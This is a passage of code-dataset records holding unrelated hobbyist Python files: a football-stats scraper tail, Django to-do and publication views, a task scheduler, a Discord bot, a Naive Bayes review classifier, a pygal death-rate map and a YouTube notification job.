'/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[2]/table/tbody/tr/td[6]/text()')[\r\n                                0].strip()\r\n                            jinke = jinke1 + ' ' + jinke2 + ' ' + jinke3 + ' ' + jinke4 + ' ' + jinke5 + ' ' + jinke6\r\n                        except:\r\n                            jinke = ''\r\n                        # 主客\r\n                        self.browser.get(url)\r\n                        fhtml = etree.HTML(self.browser.page_source)\r\n                        zhukezhu = fhtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[1]/td[3]/text()')[0].strip()\r\n                        zhukeke = fhtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[3]/td[3]/text()')[0].strip()\r\n                        zhukejsz = fhtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[1]/td[8]//text()')\r\n                        zhukejsz = ''.join(zhukejsz)\r\n                        zhukejsk = fhtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[3]/td[8]//text()')\r\n                        zhukejsk = ''.join(zhukejsk)\r\n                        zhukepz = fhtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[1]/td[6]//text()')\r\n                        zhukepz = ''.join(zhukepz)\r\n                        zhukepk = fhtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[3]/td[6]//text()')\r\n                        zhukepk = ''.join(zhukepk)\r\n                        zhukezs = fhtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[1]/td[7]//text()')\r\n                        zhukezs = ''.join(zhukezs)\r\n                        zhukeks = fhtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[3]/td[7]//text()')\r\n                        zhukeks = ''.join(zhukeks)\r\n                        # 全部\r\n                        self.browser.find_elements_by_xpath('//*[@id=\"tabid1\"]')[0].click()\r\n                        ghtml = etree.HTML(self.browser.page_source)\r\n                        quanjinzhu = ghtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[1]/td[3]/text()')[0].strip()\r\n                        quanjinke = ghtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[3]/td[3]/text()')[0].strip()\r\n                        quanshengjsz = ghtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[1]/td[8]//text()')\r\n                        quanshengjsz = ''.join(quanshengjsz)\r\n                        quanshengjsk = ghtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[3]/td[8]//text()')\r\n                        quanshengjsk = ''.join(quanshengjsk)\r\n                        quanyingpz = ghtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[1]/td[6]//text()')\r\n                        quanyingpz = ''.join(quanyingpz)\r\n                        quanyingpk = ghtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[3]/td[6]//text()')\r\n                        quanyingpk = ''.join(quanyingpk)\r\n                        quanzs = ghtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[1]/td[7]//text()')\r\n                        quanzs = ''.join(quanzs)\r\n                        quanks = ghtml.xpath('//*[@id=\"history_table\"]/table/tbody/tr[3]/td[7]//text()')\r\n                        quanks = ''.join(quanks)\r\n\r\n                        info = [url, qiudui + '\\t', zhishu + '\\t', jiaoquan + '\\t', jinquan + '\\t', jinzhu + '\\t',\r\n                                jinke + '\\t',\r\n                                zhukezhu + '\\t', zhukeke + '\\t', zhukejsz + '\\t', zhukejsk + '\\t', zhukepz + '\\t',\r\n                                zhukepk + '\\t', zhukezs + '\\t', zhukeks + '\\t',\r\n                                quanjinzhu + '\\t', quanjinke + '\\t', quanshengjsz + '\\t', quanshengjsk + '\\t',\r\n                                quanyingpz + '\\t', quanyingpk + '\\t', quanzs + '\\t', quanks + '\\t']\r\n                        print(info)\r\n                        name = f'DS比赛统计{lsID}'\r\n                        if not os.path.exists(f'{name}.csv'):\r\n                            head = ['url', '比赛球队', '指数走势', '半角球全', '半进球全', '进球分布主', '进球分布客',\r\n                                    '主客进球主', '主客进球客', '主客净胜主', '主客净胜客', '主客赢盘主', '主客赢盘客', '主客主胜', '主客客胜',\r\n                                    '全进球主', '全进球客', '全净胜主', '全净胜客', '全赢盘主', '全赢盘客', '全主胜', '全客胜']\r\n                            csvFile = open(f'{name}.csv', 'a', newline='', encoding='utf-8-sig')\r\n                            writer = csv.writer(csvFile)\r\n                            writer.writerow(head)\r\n                            csvFile.close()\r\n                        else:\r\n                            csvFile = open(f'{name}.csv', 'a+', newline='', encoding='utf-8-sig')\r\n                            writer = csv.writer(csvFile)\r\n                            writer.writerow(info)\r\n                            csvFile.close()\r\n                    except:\r\n                        pass\r\n\r\nif __name__ == '__main__':\r\n    lsID, start_page, end_page = map(int, input('请输入联赛id、爬取页数(多少页到多少页以空格分开):').split())\r\n    lz = Dszuqiu()\r\n    lz.biaodan(lsID, start_page, end_page)\r\n","sub_path":"endzuqiu.py","file_name":"endzuqiu.py","file_ext":"py","file_size_in_byte":16717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"557539553","text":"\"\"\"\nGiven an array of integers, \nfind the maximal absolute difference between \nany two of its adjacent elements.\n\nFor inputArray = [2, 4, 1, 0], the output should be\narrayMaximalAdjacentDifference(inputArray) = 3.\n\"\"\"\ndef arrayMaximalAdjacentDifference(inputArray):\n    maxi = float(\"-inf\")\n    for i in range(len(inputArray)-1):\n        if abs(inputArray[i+1]-inputArray[i])> maxi:\n            maxi = abs(inputArray[i+1]-inputArray[i])\n    return maxi\n\ninputArray = [1,5,3,4]\nprint(arrayMaximalAdjacentDifference(inputArray))","sub_path":"CodeSignal/maxDiffAdjacent.py","file_name":"maxDiffAdjacent.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"384924417","text":"from django.shortcuts import redirect, render, get_object_or_404\nfrom django.views.decorators.csrf import csrf_exempt, csrf_protect\nfrom django.http import HttpResponse\n\nfrom .models import Task\nfrom .forms import TaskForm\n\n\n# Create your views here.\n\n\n\n@csrf_exempt\ndef add_task(request):\n\ttasks = Task.objects.all()\n\tif request.method == \"POST\":\n\t\tform = TaskForm(request.POST)\n\t\tif form.is_valid():\n\t\t\ttask = form.save(commit=False)\n\t\t\ttask.save()\n\t\t\ttask.update_from_db()\n\t\t\treturn redirect('details', pk=task.pk)\n\n\ttemplate = \"add.html\"\n\tform = TaskForm()\n\treturn render(request, template, {'form': form})\n\n@csrf_exempt\ndef task_details(request, pk):\n\ttasks = Task.objects.all()\n\ttemplate = \"details.html\"\n\ttask = get_object_or_404(Task, pk=pk)\n\treturn render(request, template, {'task':task})\n\n@csrf_exempt\ndef task_edit(request, pk):\n\ttasks = Task.objects.all()\n\ttemplate = \"edit.html\"\n\ttask = get_object_or_404(Task, pk=pk)\n\tif request.method == \"POST\":\n\t\tform = TaskForm(request.POST, instance=task)\n\t\tif form.is_valid():\n\t\t\ttask = form.save(commit=False)\n\t\t\ttask.save()\n\t\t\t\n\t\t\treturn redirect('manage')\n\telse:\n\t\tform = TaskForm(instance=task)\n\treturn render(request, template, {'form': form})\n\n@csrf_exempt\ndef task_delete(request, pk):\n\ttasks = Task.objects.all()\n\tif request.method == \"POST\":\n\t\ttask = get_object_or_404(Task, pk=pk).delete()\n\t\treturn redirect('manage')\n\telse:\n\t\treturn HttpResponse(\"WTF!\")\n\n\n@csrf_exempt\ndef manage(request):\n\ttasks = Task.objects.all()\n\ttemplate = \"manage.html\"\n\treturn render(request, template, {'tasks':tasks})\n\n@csrf_exempt\ndef index(request):\n\ttasks = Task.objects.all()\n\ttemplate = \"todos.html\"\n\treturn render(request, template, {'tasks':tasks})\n\n","sub_path":"morningApp/todos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"56941437","text":"\"\"\"\nSchedule tasks to run at a given time.\n\"\"\"\nimport threading\nimport time\nimport datetime as dt\n\nclass TaskNode:\n    def __init__(self, value):\n        self.next = None\n        self.value = value\n        pass\n\nclass Scheduler:\n    def __init__(self):\n        self.head = None\n        self.active = False\n        self.timer = None\n        pass\n\n    def add_task(self, time, action):\n        '''Add a task to the task-chain.\n\n        Args:\n            time (datetime): When the task occurs.\n            action (function): Function to run when `time` is reached.\n        '''\n        self._handle_terminated()\n        task = TaskNode({\"time\": time, \"action\": action})\n        head = self.head\n        if head is None: # First task is being added\n            self.head =  task\n        else:\n            node = self.head\n            while node:\n                isHead = node == self.head\n                notTail = node.next != None\n\n                afterNode = time > node.value[\"time\"]\n                if notTail:\n                    beforeNextNode = time < node.next.value[\"time\"]\n                else:\n                    beforeNextNode = True # allow all times at the tail\n\n                if afterNode and beforeNextNode: # Add task after current node\n                    task.next = node.next\n                    node.next = task\n                    break\n                elif isHead and not afterNode: # Add task before current node (head)\n                    task.next = node\n                    self.head = task\n                node = node.next\n        \n        if task == self.head:\n            # Timer needs to be changed\n            if self.timer and self.active:\n                self.timer.cancel()\n                self._wait_for_head()\n\n    def _wrap_action(self, action):\n        def wrapped():\n            action()\n            # Forget completed task\n            self.head = self.head.next\n            if self.active:\n                self._wait_for_head()\n        return wrapped\n\n    def _wait_for_head(self):\n        task = self.head\n        if task:\n            interval = (task.value[\"time\"] - dt.datetime.now()).total_seconds()\n            # NOTE: Negative intervals execute instantly and are allowed in threading.Timer()\n            self.timer = threading.Timer(interval, self._wrap_action(task.value[\"action\"]))\n            self.timer.start()\n\n    def start(self, auto_stop=False):\n        '''Start the scheduler.\n\n        Args:\n            auto_stop(bool): Whether the scheduler should stop when no tasks are scheduled.\n        '''\n        self._handle_terminated()\n        self.resume()\n        if auto_stop is False:\n            # Add daemon to keep scheduler alive\n            self.daemon = threading.Timer(1 * 24 * 60 * 60, lambda: print(\"Exiting\"))\n\n    def terminate(self):\n        '''Stop the scheduler.\n\n        Detaches the head and marks scheduler as terminated.\n        '''\n        self._handle_terminated()\n        self.pause()\n        self.daemon.cancel()\n        self.active = \"TERMINATED\"\n\n    def _handle_terminated(self):\n        if self.active == \"TERMINATED\":\n            raise Exception(\"Can not use terminated scheduler.\")\n\n    def pause(self, timeToLast=-1):\n        '''Pause the scheduler.\n\n        Args:\n            timeToLast(float, optional): Number of seconds to pause the scheduler for.\n\n            Note that the scheduler's activity is reverted, not toggled.\n        '''\n        self._handle_terminated()\n        self.active = False\n        if timeToLast>=0:\n            if self.timer:\n                self.timer.cancel()\n            threading.Timer(timeToLast, lambda: self.resume())\n    \n    def resume(self, timeToLast=-1):\n        '''Resume the scheduler.\n\n        Args:\n            timeToLast(float, optional): Number of seconds to resume the scheduler for.\n        \n            Note that the scheduler's activity is reverted, not toggled.\n        '''\n        self._handle_terminated()\n        self.active = True\n        self._wait_for_head()\n        if timeToLast>=0:\n            threading.Timer(timeToLast, lambda: self.pause())","sub_path":"src/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"614938389","text":"import discord\nfrom discord.ext import commands\nfrom discord.utils import get\nimport logging\nimport os\nimport asyncio\nfrom itertools import cycle\nimport youtube_dl\nimport shutil\nplayers={}\n\n#Add token.txt to the working directory with your Bot Token\n#Add youtube_api.txt with your API key\n\nf = open('token.txt', 'r')\nTOKEN = f.read().replace('\\n', '')\nlogger = logging.getLogger('discord')\nlogger.setLevel(logging.DEBUG)\nhandler = logging.FileHandler(filename='discord.log', encoding='utf-8', mode='w')\nhandler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %(message)s'))\nlogger.addHandler(handler)\nclient = commands.Bot(command_prefix=\"!\")\nclient.remove_command('help')\n\n@client.event\nasync def on_ready():\n    print('We have logged in as {0.user}'.format(client))\n@client.event\nasync def on_member_join(member):\n\trole=discord.utils.get(member.guild.roles,name=\"Hero\")\n\tawait member.add_roles(role)\n@client.command()\nasync def ping(message):\n\tawait message.channel.send(\"Pong!\")\n@client.command()\nasync def clean(ctx,amount=100):\n\tmessages=[]\n\tchannel=ctx.channel\n\tasync for message in channel.history(limit=int(amount)):\n\t\tmessages.append(message)\n\tawait channel.delete_messages(messages)\n\tawait channel.send('Messages Deleted!')\n@client.command()\nasync def help(ctx):\n\tauthor=ctx.author\n\tembed=discord.Embed(\n\tdescription=\"Here' some Help\",\n\tcolour=discord.Colour.blue()\n\t)\n\tembed.set_author(name='help')\n\tembed.add_field(name=\"!ping \",value=\"Returns pong\",inline=False)\n\tembed.add_field(name=\"!clean \",value=\"Clean messages Usage:!clean no._of_messages,default-100\",inline=False)\n\tembed.add_field(name=\"!play\",value=\"Play with !play songname \",inline=False)\n\tembed.add_field(name=\"!pause\",value=\"pauses the music\",inline=False)\n\tembed.add_field(name=\"!resume\",value=\"resumes the music\",inline=False)\n\tembed.add_field(name=\"!stop\",value=\"stops the music\",inline=False)\n\tembed.add_field(name=\"!next\",value=\"Plays next song in queue.\",inline=False)\n\tembed.add_field(name=\"!queue\",value=\"Queues a song. Use !queue Song_name\",inline=False)\n\tembed.add_field(name=\"!kick\",value=\"Kicks a member. Use !kick member_name\",inline=False)\n\tembed.add_field(name=\"!ban\",value=\"Bans a member. Use !ban member_name\",inline=False)\n\tembed.add_field(name=\"!unban\",value=\"Unbans a member. Use !unban member_name(with discriminator) Eg:Nishant#4324\",inline=False)\n\n\tawait ctx.channel.send(author,embed=embed)\n@client.event\nasync def on_reaction_add(reaction,user):\n\tchannel=reaction.message.channel\n\tawait channel.send('{} has added {} to the message {}'.format(user.name,reaction.emoji,reaction.message.content))\n@client.command()\n@commands.has_role('admin')\nasync def kick(ctx,member: discord.Member,*,reason=\"none\"):\n\tawait member.kick(reason=reason)\n\tawait ctx.send(f\"Kicked!{user.mention}\")\n@client.command()\n@commands.has_role('admin')\nasync def ban(ctx,member : discord.Member,*,reason=\"none\"):\n\tawait member.ban(reason=reason)\n\tawait ctx.send(f\"Banned! {user.mention}\")\n@client.command()\n@commands.has_role('admin')\n#we need user#123 member format as they are not in server\nasync def unban(ctx,*,member): \t\t\t\t\t\t\n\tbanned_users= await ctx.guild.bans()\n\tmember_name,member_discriminator=member.split('#')\n\tfor ban_entry in banned_users:\n\t\tuser=ban_entry.user\n\t\tif(user.name,user.discriminator)==(member_name,member_discriminator):\n\t\t\tawait ctx.guild.unban(user)\n\t\t\tawait ctx.send(f\"Unbanned {user.mention}\")\n\t\t\treturn\n#load the cogs in the working directory\nfor filename in os.listdir(\"./\"):\n\tif filename.endswith(\".py\") and filename!=\"bot.py\":\n\t\tclient.load_extension(f\"{filename[:-3]}\")\nclient.run(TOKEN)","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"44500950","text":"import os\n# from uniback.dictionary.uniback_constants import Repository as Rep\nfrom uniback.models.general import Repository\nfrom uniback.tools.local_session import LocalSession\n\n\ndef init_repository(engine, name):\n    with LocalSession() as session:\n        pass        \n        \n\ndef add_repository(info):\n    with LocalSession() as session:\n        repository = Repository(\n            name=info['name'],\n            description=info.get('description'),\n            data=info['data'],\n            engine=info['engine'],\n            physical_location_id=info['physical_location_id']\n        )\n        session.add(repository)\n        session.commit()\n\n\ndef delete_repositories(ids):\n    with LocalSession() as session:\n        for id in ids:\n            session.query(Repository).filter_by(id=id).delete()\n        session.commit()\n\n\ndef get_engine_repositories(engine_name):\n    repository_list = []\n    with LocalSession() as session:\n        repositories = session.query(Repository).filter_by(engine=engine_name)\n        for repository in repositories:\n            repository_list.append((repository.id, repository.name))\n    return repository_list\n\n\ndef get_info(id):\n    info_dict = {}\n    with LocalSession() as session:\n        repository = session.query(Repository).filter_by(id=id).first()\n        info_dict = dict(\n            name=repository.name,\n            description=repository.description,\n            data=repository.data,\n            engine=repository.engine,\n            physical_location_id=repository.physical_location_id,\n            physical_location_name=repository.physical_location.name\n        )\n    return info_dict","sub_path":"uniback/db_interfaces/repository_list.py","file_name":"repository_list.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"513017693","text":"# 나이브 어쩌구로 구현할거임\nimport math\nimport re\n\nTEST_MODE_OFF = True    # =False 하면 ./ratings_vaid.txt랑 비교대조하면서 정답률 체크함\nTEST_NAME = \"T07\"       # 디버그모드에서 만들어내는 결과파일 이름 앞에 붙음.\n\nTAIL_DIC = [            # 제거할 Tail 목록\n   '\\t','.', '!', ',', \"'\", '\"', '의', '이', '가', '이다','다', '를', '의', '들'\n   '같은', '은', '는', '한', '진', '임', '하고', '고', '적', '인', '~', 'ㅋ'\n   ]                    \n\ndef TailRemover(word):\n    \n    for tail in TAIL_DIC:\n        is_tail = word[-len(tail) : ]\n        if is_tail == tail and len(word) != len(tail):\n            return TailRemover(word[ : -len(tail)])\n\n    return word\n\ndef NownSpliter(message):       # 개선필요\n    ret = []\n    split = message.split(\" \")\n    for word in split :\n        word = TailRemover(word)\n        if len(word) != 0:\n            ret.append(word)\n    return ret\n\n# AI의 베이스가 될 도수분포표가 필요.\nclass NaiveBaisian:\n    dataList = {}\n    \n    def __init__(self):\n        self.typeCount = 1\n        self.dictionary = {}\n        return\n\n    def DefineRating(rating):\n        data = NaiveBaisian()\n        NaiveBaisian.dataList[rating] =  data\n        return\n    \n    def InsertData(rating, message):\n        data = NaiveBaisian.dataList[rating]\n        data.typeCount += 1\n        for word in NownSpliter(message):\n            if word in data.dictionary :\n                data.dictionary[word] += 1\n            else :\n                data.dictionary[word]  = 1\n        return\n\n    def IsNeverWord(word):\n        for ratingData in NaiveBaisian.dataList.values():\n            if word in ratingData.dictionary :\n                return False\n        return True\n\n    def LogProbablityWord(self, word):\n        if word in self.dictionary:\n            return math.log(self.dictionary[word]) - math.log(self.typeCount)\n        else :\n            #if NaiveBaisian.IsNeverWord(word) :                                  # 어떤 rating에도 이 단어가 검색되지 않았다면,\n            #    return 0                                                        # T02 이 단어는 분류에 영향을 주지 않는다.\n            #    return math.log(self.typeCount)                                 # T05 원래비율대로 쪼갠다.\n            #    for rating in NaiveBaisian.dataList.keys() :\n            #        if self.typeCount < NaiveBaisian.dataList[rating].typeCount :\n            #            return -0.000000000000001\n            #    return +0.000000000000001\n\n            return math.log( 0.4                 ) - math.log(self.typeCount)   # 상대에게 있다면 불리하게 판정한다.\n                                                                            #T02&T05 미적용/ 서로 없다면 수집데이터가 적은 rating일 확률이 높다고 판정하는 셈.\n                                                                                \n\n    def LogProbablityMessage(rating, message):\n        data = NaiveBaisian.dataList[rating]\n        ret = 0\n        for word in NownSpliter(message):\n            ret += data.LogProbablityWord(word)\n        return ret\n\n    def FindBestRatingFor(message):\n        rating_best= -1\n        value_best = - math.inf\n        for rating in NaiveBaisian.dataList.keys() :\n            value  =  NaiveBaisian.LogProbablityMessage(rating, message)\n            if  value_best  < value :\n                value_best  = value\n                rating_best = rating\n        return rating_best\n\n    def DebugGetDiff(message):\n        return NaiveBaisian.LogProbablityMessage(0,message) - NaiveBaisian.LogProbablityMessage(1,message)\n\n\ndef floatForm(f):\n    if f >= 0 :\n        return \"+%.5f\" % f\n    else :\n        return \"%.5f\" % f\n\ndef main():\n    NaiveBaisian.DefineRating(0)\n    NaiveBaisian.DefineRating(1)\n    print(\"Train data from ./ratings_train.txt\")\n    ##==============================================================##\n    ##                            TRAINING                          ##\n    ##==============================================================##\n    file  = open('ratings_train.txt', 'r', encoding='UTF8')\n    lines = file.readlines()\n    del lines[0]                     # 첫줄 제거\n    count = 0\n    for data in lines:\n        rating  = int(data[-2:-1])\n        data    = data.partition('\\t')[2][:-3] # 처음에 나오는 id 제거, 맨 뒤의 tab, rating, enter 제거\n        NaiveBaisian.InsertData(rating, data)\n\n        count += 1\n        if count % 30000 == 0:\n            print(\"training... \" + str(count))\n\n    file.close()\n     \n\n\n    ##==============================================================##\n    ##                            ACTION                            ##\n    ##==============================================================## \n    if TEST_MODE_OFF :\n        print(\"Get problems from ./ratings_test.txt  to  Write result on ./ratings_result.txt\")\n\n        fread  = open('ratings_test.txt'  , 'r', encoding='UTF8')\n        fwrite = open('ratings_result.txt', 'w', encoding='UTF8')\n        \n        lines = fread.readlines()\n        write_msg = lines[0]\n        del lines[0]                     # 첫줄 제거\n        for data in lines:\n            id   = data.partition('\\t')[0]\n            data = data.partition('\\t')[2][:-2] # 처음에 나오는 id 제거, 맨 뒤의 rating 제거\n        \n            rated = NaiveBaisian.FindBestRatingFor(data)\n            write_msg += (id + \"\\t\" + data + \"\\t\" + str(rated) + \"\\n\")\n\n        \n        fwrite.write(write_msg)\n        fwrite.close()\n        fread .close()\n    \n        print(\"Classification finished. result saved\")\n\n        return\n    ##==============================================================##\n    ##                       ACTION  for TEST                       ##\n    ##                           (DISABLED)                         ##\n    ##==============================================================## \n\n    print(\"Get problems from ./ratings_valid.txt to get accuracy\")\n\n    success = 0;\n    fail  = 0;\n    failed_messages = \"\"\n    file  = open('ratings_valid.txt', 'r', encoding='UTF8')\n    lines = file.readlines()\n    del lines[0]                     # 첫줄 제거\n    for data in lines:\n        rating  = int(data[-2:-1])\n        data    = data.partition('\\t')[2][:-2] # 처음에 나오는 id 제거, 맨 뒤의 rating 제거\n        \n        rated = NaiveBaisian.FindBestRatingFor(data)\n        if rating == rated :\n            success += 1\n        elif rating + rated == 1 :\n            fail += 1\n\n            gap = NaiveBaisian.DebugGetDiff(data)\n            failed = str(1-rating) + \" \" + floatForm(gap) + \"  \" + data + \"\\n\"\n            failed_messages += failed\n            \n\n    file.close()\n\n    total = success + fail\n    print(TEST_NAME + \"  TEST RESULT ----------------\")\n    print(\"total   : \" + str(total))\n    print(\"success : \" + str(success) + \"\\t\" + str(100*success/total) + \"%\")\n\n\n\n    \n    ##==============================================================##\n    ##       PUT FAILED MESSAGE   &   LEARNING DATA ON FILE         ##\n    ##==============================================================##\n    file = open(TEST_NAME + \"_Fail\" + str(fail) + \".txt\", 'w', encoding='UTF8')\n    file.write(\"fail 비율 : \" + str(100 * fail/total) + \"%\\n\")\n    for tail in TAIL_DIC :\n        file.write( tail + \", \")\n    file.write(\"\\n\")\n    file.write(failed_messages)\n    file.close()\n\n    for rating in range(2) :\n        writeStr = \"rate\" + str(rating) + \" 총 input:\" + str( NaiveBaisian.dataList[rating].typeCount )+ \"\\n\"\n        dic = NaiveBaisian.dataList[rating].dictionary\n        sorted_by_value = reversed(sorted(dic.items(), key=lambda kv: kv[1]))    ## 이거 뭔코든지 나도 몰라양. 많이 나온 순서대로 정렬해줘양!\n\n\n        for tuple in sorted_by_value :\n            writeStr += str(tuple[1]) + \"\\t\" + str(tuple[0]) +\"\\n\"              # 단어 나온 횟수 + 단어\n\n        file = open(TEST_NAME + \"_DicRate\" + str(rating) + \".txt\", 'w', encoding='UTF8')\n        file.write(writeStr)\n        file.close()\n    \nmain()\n\n\n\n\n\n\n\n","sub_path":"과목별학교과제/Algorithm/3_2_NaiveBasianClassifier/NaiveBasian.py","file_name":"NaiveBasian.py","file_ext":"py","file_size_in_byte":8165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"436127140","text":"from django.shortcuts import HttpResponse\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.core.exceptions import ValidationError\n\nfrom publications.models import Publication\nfrom publications.utils import json_response\nfrom publications import constants\n\n@csrf_protect\ndef get_publications(request):\n    '''\n       args:\n         page is required\n         fromDate is not required\n         toDate is not required\n       request example:\n         http://127.0.0.1:8000/publications/get_publications/?page=1&fromDate=2017-06-18\n    '''\n\n    page_number = request.GET.get('page')\n    fromDate = request.GET.get('fromDate')\n    toDate = request.GET.get('toDate')\n\n    if not page_number:\n        return json_response({ 'error': 'You must pass page number as an argument' })\n\n    publications = Publication.objects.all()\n\n    if fromDate:\n        try:\n            publications = publications.filter(date__gte=fromDate)\n        except ValidationError as error:\n            return json_response({ 'error': str(error) })\n\n    if toDate:\n        try:\n            publications = publications.filter(date__lte=toDate)\n        except ValidationError as error:\n            return json_response({ 'error': str(error) })\n\n\n    start = (int(page_number) - 1) * constants.PAGE_SIZE\n    end = int(page_number) * constants.PAGE_SIZE\n\n    context = {\n        'publications': list(publications.values('title', 'content', 'date'))[start:end]\n    }\n\n\n    return json_response(context)\n","sub_path":"publications/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"376986667","text":"import csv\n\nimport help_functions as hp\nfrom country_codes import get_country_code\n\nfrom pygal.maps.world import World\nfrom pygal.style import LightColorizedStyle as LCS , RotateStyle as RS\n\nfilename = input(\"Enter the name of csv data file: \")\nyear = input(\"Enter the year from which you want your data to be processed: \")\ndata_dict = {}\ntry:\n    with open('data/' + filename) as file:\n        reader = csv.reader(file)\n        index = hp.find_year(reader, year)\n        for row in reader:\n            country_name = row[0]\n            death_rate = row[index]\n            country_code = get_country_code(country_name)\n            if country_code and death_rate:\n                data_dict[country_code] = int(float(death_rate))              \nexcept FileNotFoundError:\n    print(\"ERROR incorrect file name  : \" + filename)\n    \n#DIVISION INTO THREE GROUPS   \nlow, average, high = {}, {}, {}\nfor country, deaths in data_dict.items():\n    if deaths < 10:\n        low[country] = deaths\n    if deaths >10 and deaths < 20:\n        average[country] = deaths\n    if deaths >20:\n        high[country] = deaths\n        \n#CREATING CHART\nwm_style = RS('#cd823f', base_style=LCS)\nwm = World(style = wm_style)\nwm.force_uri_protocol = 'http'\nwm.title = 'Death rate per 1000 people in ' + year\nwm.add(\"Less than 10 people\", low)\nwm.add(\"More than 10 people and less than 20\", average)\nwm.add(\"20 and more\", high)\nsave_filename = input(\"Enter new name of the chart: \")\nwm.render_to_file('output/' + save_filename)\n","sub_path":"death_rate_world.py","file_name":"death_rate_world.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"650684335","text":"import datetime\r\nimport os\r\nimport time\r\nimport logging\r\n\r\nfrom bots import *\r\nfrom service import UsersService, ClipsService\r\nfrom type import PublishTo\r\nfrom api import YoutubeApi\r\n\r\nif os.getenv(\"env\") != \"prod\":\r\n    logger = logging.getLogger('peewee')\r\n    logger.addHandler(logging.StreamHandler())\r\n    logger.setLevel(logging.DEBUG)\r\n\r\n# TODO: 非同期で一度にAPIを叩く回数。一瞬で5回APIを叩くことになるが、これが多いのか少ないのか。相手への負荷はどれくらいなのか...\r\nMAX_WORKERS = 5\r\nTIME_SLEEP = 2\r\nTIMING = 30\r\n\r\n\r\nuser_service = UsersService()\r\nclip_service = ClipsService()\r\n\r\n\r\ndef job(datum):\r\n    \"\"\"APIを叩き、通知を送信する\"\"\"\r\n    youtube = YoutubeApi()\r\n    clips = None\r\n    try:\r\n        clips = youtube.search(datum)\r\n    except Exception as e:\r\n        print(e)\r\n\r\n    if clips:\r\n        data_source = to_clips_model(clips, datum[\"user\"])\r\n        bot = datum.get(\"bot\")\r\n        try:\r\n            clip_service.bulk_insert(data_source)\r\n            bot.send_message(query=datum.get(\"query\"), num=len(data_source))\r\n        except Exception as e:\r\n            # TODO: 適切なignore処理を\r\n            print(e)\r\n\r\n        # 各並列処理間で1秒待機する\r\n        time.sleep(TIME_SLEEP)\r\n\r\n\r\ndef main():\r\n    \"\"\"現在時刻の前後30分以内のpublish_timingを持つユーザーを取得する\"\"\"\r\n    users = []\r\n    waiting_users = user_service.find_publish_timing_between(timing=TIMING)\r\n    for user in waiting_users:\r\n        datum = {}\r\n        publish_to = user.publish_to  # 通知の送信先\r\n        # botの選択\r\n        if publish_to == PublishTo.SLACK.value:\r\n            bot = SlackBot()\r\n        elif publish_to == PublishTo.LINE.value:\r\n            bot = LineBot()\r\n        elif publish_to == PublishTo.EMAIL.value:\r\n            bot = EmailBot(user.email)\r\n        elif publish_to == PublishTo.FACEBOOK.value:\r\n            bot = FacebookBot()\r\n        elif publish_to == PublishTo.TWITTER.value:\r\n            bot = TwitterBot()\r\n        elif publish_to == PublishTo.DISCORD.value:\r\n            bot = DiscordBot()\r\n        else:\r\n            bot = EmailBot(user.email)\r\n\r\n        queries = list(user.queries)\r\n        datum[\"last_published_at\"] = user.last_published_at\r\n        datum[\"query\"] = queries[0].query if len(queries) > 0 else None\r\n        datum[\"bot\"] = bot\r\n        datum[\"user\"] = user\r\n\r\n        try:\r\n            job(datum)\r\n            user.last_published_at = datetime.datetime.now()\r\n        except Exception as e:\r\n            print(e)\r\n        users.append(user)\r\n    # 正常に通知が送れたら、last_published_atとupdated_atを更新する\r\n    user_service.bulk_update(users)\r\n\r\n\r\ndef to_clips_model(clips, user):\r\n    if not clips:\r\n        return\r\n    \"\"\"APIから取得した動画情報をClipsの辞書に変換する\"\"\"\r\n    data_source = []\r\n    for clip in clips:\r\n        data = {\r\n            \"clip_id\": clip[\"clip_id\"],\r\n            \"user\": user,\r\n            \"clip_title\": clip[\"clip_title\"],\r\n            \"channel_id\": clip[\"channel_id\"],\r\n            \"channel_title\": clip[\"channel_title\"],\r\n            \"published_at\": clip[\"published_at\"],\r\n            \"thumbnail_url\": clip[\"thumbnail\"],\r\n            \"is_visited\": False,\r\n            \"created_at\": datetime.datetime.now(),\r\n            \"updated_at\": datetime.datetime.now(),\r\n        }\r\n\r\n        data_source.append(data)\r\n\r\n    return data_source\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
